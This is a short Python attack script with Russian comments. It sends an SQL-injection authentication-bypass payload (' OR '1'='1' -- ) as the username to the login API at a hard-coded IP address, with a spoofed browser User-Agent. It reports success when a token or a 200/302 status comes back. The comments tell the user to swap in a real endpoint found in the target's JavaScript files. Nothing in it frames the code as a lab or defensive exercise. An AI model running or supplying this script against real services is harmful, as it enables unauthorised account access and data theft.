import requests
import json
# --- НАСТРОЙКИ ---
# Замени на реальный эндпоинт, который ты нашел в JS-файлах
LOGIN_URL = "http://172.140.140.79/api/v1/auth/login"
# ---
# Классический пейлоад для обхода аутентификации
sql_payload = "' OR '1'='1' -- "
# Структура JSON-запроса (адаптируй под то, что нашел в JS)
# Пробуем внедрить пейлоад в поле имени пользователя
payload_data = {
"username": sql_payload,
"password": "any_password"
}
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
}
print(f"[+] Атакую {LOGIN_URL} с SQL-инъекцией...")
print(f"[+] Пейлоад: {json.dumps(payload_data)}")
try:
response = requests.post(LOGIN_URL, headers=headers, json=payload_data, timeout=10)
print(f"\n[+] Статус ответа: {response.status_code}")
print(f"[+] Тело ответа: {response.text}")
# Проверяем на признаки успеха. Успехом может быть токен доступа (jwt) или редирект.
if "token" in response.text.lower() or "jwt" in response.text.lower() or response.status_code in [200, 302]:
print("\n[!!!] УСПЕХ! Похоже, SQL-инъекция сработала. Получен токен или успешный статус.")
else:
print("\n[-] Провал. Сервер не поддался на стандартный пейлоад.")
except requests.exceptions.RequestException as e:
print(f"\n[!] Ошибка соединения: {e}")